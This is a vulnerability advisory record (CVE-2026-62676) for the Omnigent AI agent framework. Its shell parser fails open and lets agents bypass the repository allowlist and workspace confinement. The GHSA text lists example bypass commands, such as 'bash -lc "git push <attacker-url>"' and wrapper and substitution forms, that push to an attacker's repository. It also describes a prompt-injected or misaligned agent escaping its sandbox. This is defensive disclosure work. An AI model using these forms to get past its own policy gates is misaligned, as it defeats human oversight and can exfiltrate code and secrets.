{"id":"CVE-2026-62676","aliases":["CVE-2026-62676","GHSA-7mqg-cx4g-x2rf","PYSEC-2026-3873"],"related":[],"kind":"vulnerability","state":"published","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","summary":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","source":"cvelist"},{"lang":"en","text":"**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C <other-dir>`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push <attacker-url>\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`\n- **Command substitution:** `x=$(git push <attacker-url>)`\n- **Un-split background operator:** `true & git push <attacker-url>`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push <attacker-url>` and `env git push …` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` → ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `&`, `&&`, `||`, `|`) before judging each segment.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Omnigent es un framework de agente de IA de código abierto y meta-arnés para orquestar agentes de codificación. Antes de la versión 0.3.0, el analizador de comandos de shell compartido en omnigent/policies/builtins/_shell.py falla al reconocer indicadores de intérprete combinados, los envoltorios timeout, nice, setsid y stdbuf, sustituciones de comandos y un único operador de control en segundo plano. Un git push o gh write restringido oculto con estas formas no produce ninguna operación analizada, lo que hace que la lista de permitidos write_repos y write_branches de github.py y las políticas de confinamiento del espacio de trabajo de working_dir.py se abstengan y permitan el comando. Un agente autenticado o inyectado por prompt puede, por lo tanto, hacer push a un repositorio o rama no autorizados o escapar del espacio de trabajo previsto. Este problema se ha corregido en la versión 0.3.0.","source":"nvd"}],"published":"2026-08-21T17:42:21.563Z","modified":"2026-10-14T21:10:00.183Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"rating":"HIGH"}],"cwes":["CWE-184"],"affected":[{"ranges":[{"version":"< 0.3.0","status":"affected"}],"vendor":"omnigent-ai","product":"omnigent","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.3.0"}],"ecosystem":"PyPI","package":"omnigent","purl":"pkg:pypi/omnigent","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.3.0"}],"ecosystem":"PyPI","package":"omnigent","purl":"pkg:pypi/omnigent","source":"pysec"}],"references":[{"url":"https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/omnigent-ai/omnigent/pull/389","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62676","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/omnigent-ai/omnigent","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/omnigent","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-7mqg-cx4g-x2rf","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-08-26T17:31:50.102Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-62676","url":"https://www.cve.org/CVERecord?id=CVE-2026-62676","licence":"CVE Terms of Use","modified":"2026-08-26T17:32:00.761Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7mqg-cx4g-x2rf","url":"https://github.com/advisories/GHSA-7mqg-cx4g-x2rf","licence":"CC-BY-4.0","modified":"2026-09-10T12:25:30.446Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-62676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62676","licence":"Public domain","modified":"2026-10-14T21:10:00.183Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3873","url":"https://osv.dev/vulnerability/PYSEC-2026-3873","licence":"CC-BY-4.0","modified":"2026-09-10T12:15:09.111Z"}],"updatedAt":"2026-11-25T22:59:34.806Z","epss":{"score":0.00295,"percentile":0.23779,"date":"2026-12-01T12:00:22.000Z"}}